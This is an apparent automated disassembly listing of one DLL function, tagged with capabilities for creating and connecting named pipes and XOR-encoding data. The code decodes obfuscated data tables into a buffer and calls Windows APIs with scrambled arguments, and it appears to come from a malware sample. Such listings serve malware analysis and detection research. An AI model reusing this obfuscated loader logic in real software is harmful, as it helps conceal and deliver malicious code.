Function at 0x1800011c0
Capabilities:
Connect pipe
Create pipe
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov esi, dword [rsp + 0x98]
lea r13d, [rdx - 0x17f]
mov r12d, dword [rsp + 0x90]
lea eax, [r13 + 0x244]
mov edi, esi
lea r15d, [r8 + 0x53b]
mov ebp, ecx
xor edi, 0x7cf9
add r12d, 0x419
xor esi, 0x425f
xor ebp, 0x4295
xor r14d, r14d
mov rbx, r9
cmp edi, eax
jne 0x18000164d
mov eax, edi
xor eax, 0x2c4
cmp ebp, eax
jge 0x18000150c
mov eax, dword [r9 + 0x58]
xor eax, 0x2f7ac
add dword [r9 + 0x88], eax
cmp dword [r9 + 0x10c], 0x26d
jbe 0x180001262
xor dword [r9 + 0x88], 0xa4f95ea2
mov edi, dword [r9 + 0x30]
lea rax, [0x180039d20]
mov qword [r9 + 0xb8], rax
mov r11, r14
nop word [rax + rax]
mov edx, dword [rbx + 0x28]
mov rax, qword [rbx + 0xb8]
mov r10d, dword [r11 + rax]
mov eax, 0x1b6574
sub eax, dword [rbx + 0x38]
add r11, 4
sub eax, dword [rbx + 0x60]
add dword [rbx + 0xa8], eax
mov ecx, dword [rbx + 0xa8]
xor dword [rbx + 0x20], ecx
mov eax, dword [rbx + 0xe4]
or dword [rbx + 0x78], eax
lea eax, [rdx - 0x3514b6]
xor dword [rbx + 0xa4], eax
mov eax, dword [rbx + 8]
sub eax, dword [rbx + 0xdc]
mov ecx, dword [rbx + 8]
sub eax, 0x8c0d62c
mov r9d, dword [rbx + 0x78]
imul r10d, dword [rbx + 0x88]
imul eax, edx
mov edx, dword [rbx + 0xa4]
mov dword [rbx + 0x28], eax
mov eax, r9d
xor eax, 0xa494d
imul ecx, eax
mov eax, dword [rbx + 0x10c]
xor edx, ecx
mov dword [rbx + 8], ecx
mov ecx, dword [rbx + 0x7c]
sub edx, 0x8c0d62c
imul eax, edx
add ecx, 0xfffffff9
add ecx, dword [rbx + 0x20]
mov edx, r10d
or dword [rbx + 0x5c], ecx
mov ecx, dword [rbx + 0x5c]
or ecx, dword [rbx + 0x60]
mov dword [rbx + 0x10c], eax
lea eax, [r9 - 0xa494c]
add eax, edi
shr edx, 8
xor dword [rbx + 0x8c], eax
mov eax, dword [rbx + 0x64]
add eax, dword [rbx + 0xf8]
xor ecx, eax
mov rax, qword [rbx + 0xc8]
xor ecx, 0xa6ad78ae
mov dword [rbx + 0x60], ecx
movsxd rcx, dword [rbx + 0x90]
mov byte [rcx + rax], dl
inc dword [rbx + 0x90]
movsxd rcx, dword [rbx + 0x90]
mov rax, qword [rbx + 0xc8]
mov byte [rcx + rax], r10b
inc dword [rbx + 0x90]
mov edi, dword [rbx + 0x30]
sub dword [rbx + 0xa8], edi
mov esi, dword [rbx + 0x90]
cmp r11, 0x17a0
jl 0x180001280
mov eax, dword [rbx + 0x64]
sub eax, dword [rbx + 0x48]
add eax, 0x26e978d5
mov dword [rbx + 0x88], eax
mov eax, dword [rbx + 0x20]
cmp dword [rbx + 0x7c], eax
je 0x1800013bc
lea rax, [0x180039130]
mov qword [rbx + 0xb8], rax
mov r9d, dword [rbx + 0x28]
mov r10, r14
mov r11d, dword [rbx + 0x8c]
nop word [rax + rax]
mov ecx, dword [rbx + 0x128]
mov edx, dword [rbx + 0xa4]
sub dword [rbx + 0xf8], edx
mov r8d, dword [rbx + 0xa8]
lea eax, [r8 - 0x3514b6]
add eax, r9d
add dword [rbx + 0x58], eax
mov eax, dword [rbx + 0x64]
sub eax, r11d
xor eax, 0xfffffff3
sub dword [rbx + 0x120], eax
mov rax, qword [rbx + 0xb8]
mov r9d, dword [r10 + rax]
add r10, 4
imul r9d, dword [rbx + 0x88]
mov eax, dword [rbx + 0x114]
sub eax, 0xbbd32
or dword [rbx + 0x10c], eax
lea eax, [rcx - 3]
add dword [rbx + 0x24], eax
sub ecx, r8d
mov rax, qword [rbx + 0xc8]
add ecx, edx
mov dword [rbx + 0x128], ecx
mov edx, r9d
shr edx, 8
movsxd rcx, esi
mov byte [rcx + rax], dl
inc dword [rbx + 0x90]
mov eax, dword [rbx + 0xa8]
add eax, dword [rbx + 0x20]
xor eax, dword [rbx + 0x5c]
xor eax, dword [rbx + 0x114]
movsxd rcx, dword [rbx + 0x90]
xor eax, 0xbbd32
mov dword [rbx + 0x5c], eax
mov rax, qword [rbx + 0xc8]
mov byte [rcx + rax], r9b
mov ecx, dword [rbx + 0x58]
inc dword [rbx + 0x90]
add ecx, 0xffe49a8c
mov eax, dword [rbx + 0x38]
mov edx, dword [rbx + 0x60]
dec eax
or dword [rbx + 0x5c], eax
add edx, ecx
xor edx, dword [rbx + 0x58]
mov r9d, dword [rbx + 0x28]
mov eax, r9d
sub eax, dword [rbx + 0xa8]
mov ecx, dword [rbx + 0x78]
sub eax, 0x3514b6
xor dword [rbx + 0x48], eax
add ecx, 0xfff5b6b4
mov r11d, dword [rbx + 0x8c]
add ecx, edx
mov esi, dword [rbx + 0x90]
mov dword [rbx + 0x58], ecx
mov ecx, dword [rbx + 0x7c]
lea eax, [r11 - 0xc]
imul ecx, eax
mov dword [rbx + 0x7c], ecx
cmp r10, 0xbd0
jl 0x1800013d0
mov eax, dword [rbx + 0xa4]
sub r15d, 0x6ba
sub eax, dword [rbx + 0x78]
sub eax, 0x2b135b15
mov dword [rbx + 0x88], eax
jmp 0x18000164d
mov ecx, dword [r9 + 0x8c]
sub ecx, r12d
mov eax, esi
xor rcx, rax
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov eax, dword [rbx + 0x40]
mov r8d, dword [rbx + 0xa4]
mov ecx, dword [rbx + 0x114]
xor r8, rax
mov eax, r12d
and r8, rax
movsxd r9, r15d
mov eax, dword [rbx + 0x5c]
movsxd rdx, ebp
xor rcx, rax
or rdx, r9
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov edx, dword [rbx + 0x24]
mov eax, r12d
mov r8d, dword [rbx + 0xa8]
xor eax, 0x3c62
or esi, eax
imul edx, r15d
and r8d, r12d
movsxd rcx, esi
xor r8d, dword [rbx + 0x28]
xor rcx, 0x3de1
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [rbx + 0x7c]
mov edx, dword [rbx + 0xa0]
or ecx, esi
sub ecx, 0x3ea6
add edx, r15d
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov edx, dword [rbx + 0x5c]
lea ecx, [r15 - 0x3f25]
mov r9d, dword [rbx + 0x124]
mov eax, r13d
mov r8d, dword [rbx + 0x58]
xor edx, edi
imul r9d, dword [rbx + 0x28]
xor eax, ebp
xor eax, 0x3c05
and esi, edi
sub r13d, eax
or r8d, ebp
xor r13d, edi
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], edx
mov rdx, rbx
call sym.bpapele498of.dll_Pah52
mov r8d, dword [rbx + 0xc]
mov r11d, eax
mov edi, dword [rbx + 0x10c]
sub r11d, r12d
mov esi, dword [rbx + 0xdc]
mov ecx, r15d
add edi, dword [rbx + 0xc0]
or esi, 0x3c05
mov r10d, dword [rbx + 0x78]
lea r9d, [r8 - 0x431c]
sub r8d, dword [rbx + 0xe8]
sub r11d, 0x3c18
sub ecx, dword [rbx + 0x54]
and r10d, r12d
mov ebp, eax
add r8d, eax
mov qword [rsp + 0x38], rdi
and rcx, rbp
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], r11d
lea edx, [r15 + rbp]
mov dword [rsp + 0x20], r10d
and edx, 0x3c05
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea rax, [0x18003b500]
mov qword [rbx + 0xb8], rax
nop dword [rax + rax]
mov rax, qword [rbx + 0xb8]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 0x120]
add edx, 0xffcaeb4a
sub ecx, 7
mov r8d, dword [r14 + rax]
add r14, 4
mov eax, dword [rbx + 0x48]
imul r8d, dword [rbx + 0x88]
imul eax, ecx
mov ecx, dword [rbx + 0xdc]
add ecx, dword [rbx + 0x28]
add edx, ecx
movsxd rcx, dword [rbx + 0x90]
mov dword [rbx + 0x48], eax
mov eax, dword [rbx + 0xc0]
xor eax, edx
sub eax, 0x8c0d62c
imul eax, edx
mov edx, r8d
shr edx, 0x10
mov dword [rbx + 8], eax
mov rax, qword [rbx + 0xc8]
mov byte [rcx + rax], dl
mov edx, r8d
inc dword [rbx + 0x90]
movsxd rcx, dword [rbx + 0x90]
mov eax, dword [rbx + 0x64]
add dword [rbx + 0x8c], eax
mov rax, qword [rbx + 0xc8]
shr edx, 8
mov byte [rcx + rax], dl
mov edx, dword [rbx + 0xe4]
mov ecx, edx
inc dword [rbx + 0x90]
xor ecx, 1
mov eax, dword [rbx + 0x30]
imul eax, ecx
mov ecx, dword [rbx + 0x48]
mov dword [rbx + 0x30], eax
mov eax, dword [rbx + 0x84]
sub ecx, eax
add dword [rbx + 0x64], eax
add ecx, edx
mov edx, dword [rbx + 0x128]
mov dword [rbx + 0xe4], ecx
mov ecx, dword [rbx + 0x20]
add ecx, 0xfffffffe
add edx, ecx
mov ecx, dword [rbx + 0x8c]
imul ecx, edx
movsxd rdx, dword [rbx + 0x90]
mov dword [rbx + 0x8c], ecx
mov rcx, qword [rbx + 0xc8]
mov byte [rdx + rcx], r8b
inc dword [rbx + 0x90]
cmp r14, 0x2e70
jl 0x180001660
mov rbx, qword [rsp + 0x70]
xor r15d, 0x7a
mov rbp, qword [rsp + 0x78]
mov eax, r15d
mov rsi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret